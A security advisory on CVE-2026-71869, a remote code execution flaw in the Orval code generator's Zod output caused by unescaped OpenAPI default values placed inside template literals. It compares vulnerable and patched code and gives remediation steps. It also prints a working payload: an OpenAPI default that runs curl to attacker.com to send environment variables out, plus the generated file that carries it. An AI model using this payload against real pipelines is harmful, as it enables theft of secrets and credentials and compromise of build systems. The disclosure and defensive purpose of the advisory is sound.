CVE-2026-71869: Remote Code Execution in Orval via OpenAPI Default Value Template Literal Injection

The vulnerability CVE-2026-71869 (GHSA-2h9g-j24r-h63g) is a critical-severity remote code execution flaw in the Orval code generator. Orval is widely used in the TypeScript ecosystem to generate type-safe HTTP client code from OpenAPI and Swagger specifications. The issue lies within the @orval/zod package, which is responsible for generating runtime validation schemas using the Zod library.

During code generation, Orval serializes default values defined in the OpenAPI schema directly into the output JavaScript or TypeScript files. When processing string-based default values, the generator fails to properly sanitize or escape special characters before embedding them within module-level template literals (enclosed in backticks). This allows an attacker who controls or influences the OpenAPI specification file to inject arbitrary JavaScript expressions.

Because these injected expressions are parsed and evaluated at the module scope, the payload executes immediately when any generated file is imported into an application. This import-time execution bypasses traditional runtime controls, posing a significant risk to development environments, continuous integration and continuous deployment (CI/CD) pipelines, and production servers that import the generated client.

The root cause of the vulnerability resides in how @orval/zod serializes and embeds default values from the OpenAPI specification into the output file. When parsing an OpenAPI schema, the generator extracts the default field to include it in the generated validation schema using the Zod .default() modifier. For string values, the generator constructs a JavaScript template literal.

Prior to version 8.21.0, the code in packages/zod/src/index.ts processed default values by converting them to strings and replacing single quotes with backticks. The exact implementation used a naive string replacement pattern: rawStringified.replaceAll("'", '')`. This mechanism assumed that replacing single quotes with backticks was sufficient to sanitize the string for placement within a template literal.

However, this logic completely overlooked the syntax of JavaScript template literals. Template literals evaluate any expression wrapped inside $\{...\} blocks and allow unescaped backticks to terminate the string boundary. If an attacker crafts a default value that contains a backtick, they can break out of the string context. Furthermore, by inserting a $\{ token, they can embed a block of active JavaScript code that the runtime engine executes when evaluating the literal.

An examination of the vulnerable code path vs. the patched version reveals how the templating mechanism was secured. In the vulnerable version of @orval/zod, the generator outputted raw string values with minimal escaping. This allowed structural breakout. Below is a representation of the vulnerable code logic in packages/zod/src/index.ts:

// VULNERABLE
const rawStringified = stringify(schema.default);
// Naive replacement that leads to template literal breakout
defaultValue = rawStringified === undefined ? 'null' : rawStringified.replaceAll("'", '`');

If an OpenAPI schema specified a default value containing ${process.mainModule.require('child_process').execSync('id')}, this string was written directly into the output file within backticks. When the TypeScript compiler or Node.js runtime evaluated this file, the expression within ${} was parsed and executed immediately.

To remediate this, the maintainers introduced a helper function named formatDefaultValue which uses the jsesc library to safely escape the generated strings. Below is the patched implementation in commit 8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6:

// PATCHED
import jsesc from 'jsesc';
 
function formatDefaultValue(value: unknown): string {
  if (isString(value)) {
    // Safely escape backticks and interpolation tokens
    return jsesc(value, { quotes: 'backtick', wrap: true });
  }
  if (Array.isArray(value)) {
    return `[${
      value.map((item) =>
        isString(item)
          ? jsesc(item, { quotes: 'backtick', wrap: true })
          : formatDefaultValue(item)
      ).join(', ')}
    ]`;
  }
  return stringify(value) ?? 'null';
}

By utilizing jsesc with the option { quotes: 'backtick', wrap: true }, any backtick characters are converted to \`` and any ${sequences are converted to${`. This ensures the template literal treats the payload strictly as static data, neutralizing the injection vector.

Additionally, the patch addresses secondary injection vectors. Object keys in the Zod schema output were originally generated with standard string templates: "$\{key\}": $\{rendered.expr\}. This was vulnerable to double-quote breakout. The maintainers corrected this by using JSON.stringify(key) to properly serialize the property keys:

// Secondary fix in packages/zod/src/index.ts
- return `  "$\{key\}": $\{rendered.expr\}`;
+ return `  $\{JSON.stringify(key)\}: $\{rendered.expr\}`;

Exploitation of CVE-2026-71869 requires minimal complexity. The attacker must supply a poisoned OpenAPI or Swagger specification file to a development pipeline or a local workspace using Orval for code generation. This scenario frequently occurs in organizations that consume third-party API specifications or in open-source projects where contributors can submit pull requests modifying the specification files.

A typical exploit payload targets the default field of a string schema inside the OpenAPI definition. Below is an example of an exploit payload structured within an OpenAPI v3 definition:

openapi: 3.0.3
info:
  title: Exploit Demo API
  version: 1.0.0
paths:
  /exploit:
    get:
      responses:
        '200':
          description: Success
          content:
            application/json:
              schema:
                type: object
                properties:
                  payload:
                    type: string
                    default: "v${globalThis.process.mainModule.require('child_process').execSync('curl http://attacker.com/leak?data=' + globalThis.process.env.ENV_VAR_HERE)}w"

When the developer runs orval, the tool parses the specification and generates a Zod schema file. The generated output file contains the following code:

export const exploitResponsePayloadDefault = `v${globalThis.process.mainModule.require('child_process').execSync('curl http://attacker.com/leak?data=' + globalThis.process.env.ENV_VAR_HERE)}w`;

Because this variable is evaluated during module initialization, the payload executes the moment any file imports the generated schema. This execution happens without calling any validation functions, completing the attack path.

The impact of this vulnerability is critical, carrying a CVSS score of 9.3. The breakout leads to full, unauthenticated remote code execution inside the context running the generated JavaScript or TypeScript code. Because the execution is triggered at import-time, the payload runs in whatever environment loads the client, yielding several severe compromise scenarios.

In continuous integration and delivery (CI/CD) pipelines, the build or test step often imports generated code to run integration tests or build static assets. An attacker who submits a poisoned specification can execute code on the build agent, potentially stealing repository secrets, cloud credentials, and signing keys, or injecting backdoors into compiled release packages.

In local developer environments, importing the generated module in an editor, a test runner, or a local server runner executes the payload on the developer's workstation. This can lead to local credential theft, SSH key exposure, and lateral movement within corporate networks. If the generated files are deployed to a production backend (such as a Node.js server), the server will execute the payload immediately upon startup, compromising the production infrastructure.

The primary remediation is to upgrade the Orval toolchain to version 8.21.0 or higher. This update secures the code generator across the @orval/zod, @orval/core, and core CLI packages, addressing template literal escaping issues and object key serialization flaws.

To perform the upgrade using npm, execute:

npm install orval@8.21.0 --save-dev

If your build pipeline runs Orval inside a container or as a global CLI tool, ensure the environment is updated to use the safe version:

docker run --rm -v "${PWD}:/app" -w /app ghcr.io/orval-labs/orval:8.21.0

In addition to upgrading, organizations should adopt a defense-in-depth posture. Build environments should run with minimal privilege, and network access from build agents should be restricted to prevent data exfiltration. Automated linting tools can be configured to inspect incoming OpenAPI specification files for suspicious patterns like ${ or backticks inside default values, stopping the attack before the generator runs.